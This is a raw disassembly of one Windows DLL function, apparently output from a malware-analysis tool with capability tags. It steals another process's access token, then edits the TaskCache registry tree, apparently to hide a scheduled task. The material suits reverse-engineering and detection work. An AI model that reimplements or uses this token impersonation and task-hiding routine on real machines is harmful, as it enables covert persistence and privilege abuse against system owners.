Function at 0x18000b710
Capabilities:
Delete registry value
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0xab0]
sub rsp, 0xbb0
mov rax, qword [0x18005c010]
xor rax, rsp
mov qword [rbp + 0xaa0], rax
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x6a0]
xor r14d, r14d
call fcn.180019360
movaps xmm0, xmmword [str.SOFTWAREMicrosoftWindows_NTCurrentVersionScheduleTaskCacheTree]
lea rcx, [rbp - 0x16]
movaps xmm1, xmmword [0x180052c30]
xor edx, edx
movzx eax, word [0x180052ca8]
mov r8d, 0x17e
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [0x180052c40]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm0, xmmword [0x180052c60]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm1, xmmword [0x180052c50]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm0, xmmword [0x180052c80]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm1, xmmword [0x180052c70]
movaps xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x180052ca0]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm1, xmmword [0x180052c90]
movsd qword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm1
mov word [rbp - 0x18], ax
call fcn.180019360
mov eax, dword [0x180052cac]
lea rcx, [rbp + 0x286]
mov dword [rbp + 0x280], eax
xor edx, edx
movzx eax, word [0x180052cb0]
mov r8d, 0x202
mov word [rbp + 0x284], ax
call fcn.180019360
movsd xmm0, qword [str.Index]
lea rcx, [rbp + 0x49c]
mov eax, dword [0x180052cc0]
xor edx, edx
mov r8d, 0x1fc
movsd qword [rbp + 0x490], xmm0
mov dword [rbp + 0x498], eax
call fcn.180019360
test rbx, rbx
je 0x18000baba
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x18000baba
mov r9, rbx
lea r8, [rsp + 0x60]
lea rdx, str._s_s
lea rcx, [rbp + 0x6a0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x6a0]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, ebx
jle 0x18000baba
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x3c], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x30]
lea edx, [r14 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x18000b8bf
lea rcx, str.OpenProcessToken_r_n
jmp 0x18000b930
lea r8, [rsp + 0x3c]
mov dword [rsp + 0x38], 1
lea rdx, str.SeTakeOwnershipPrivilege
mov dword [rsp + 0x44], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x18000b8f0
lea rcx, str.LookupPrivilegeValue_r_n
jmp 0x18000b930
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x18000b91c
lea rcx, str.AdjustTokenPrivileges_r_n
jmp 0x18000b930
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x18000b935
lea rcx, str.ERROR_NOT_ALL_ASSIGNED_r_n
call fcn.18000a0c0
xor edx, edx
lea rcx, [rbp + 0x170]
mov r8d, 0x104
call fcn.180019360
mov r8d, 0x104
lea rcx, [rbp + 0x170]
mov rdx, rsi
call fcn.180024eb0
xorps xmm0, xmm0
mov qword [rsp + 0x48], r14
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x50], r14
lea rax, [rbp + 0x170]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18000b980
lea rdx, [rbp + 0x170]
lea rcx, [rsp + 0x38]
call fcn.180009950
lea rdx, [rsp + 0x38]
call fcn.180015360
mov ebx, eax
test eax, eax
je 0x18000baba
mov qword [rsp + 0x30], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, eax
je 0x18000ba1c
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8, [rsp + 0x30]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov r9d, 3
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x20], 2
lea edx, [r9 + 9]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov rdx, qword [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_SetThreadToken]
lea rdx, [rbp + 0x6a0]
mov rcx, rdi
call fcn.18000b440
lea r8, [rbp + 0x280]
mov rcx, 0xffffffff80000002
lea rdx, [rbp + 0x6a0]
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
lea r8, [rsp + 0x38]
mov dword [rsp + 0x30], r14d
lea rdx, [rbp + 0x6a0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x18000baa0
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
lea rdx, [rbp + 0x490]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x18000bab3
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rdi + 8], r14
mov eax, 1
jmp 0x18000babd
mov eax, r14d
mov rcx, qword [rbp + 0xaa0]
xor rcx, rsp
call fcn.180015840
add rsp, 0xbb0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret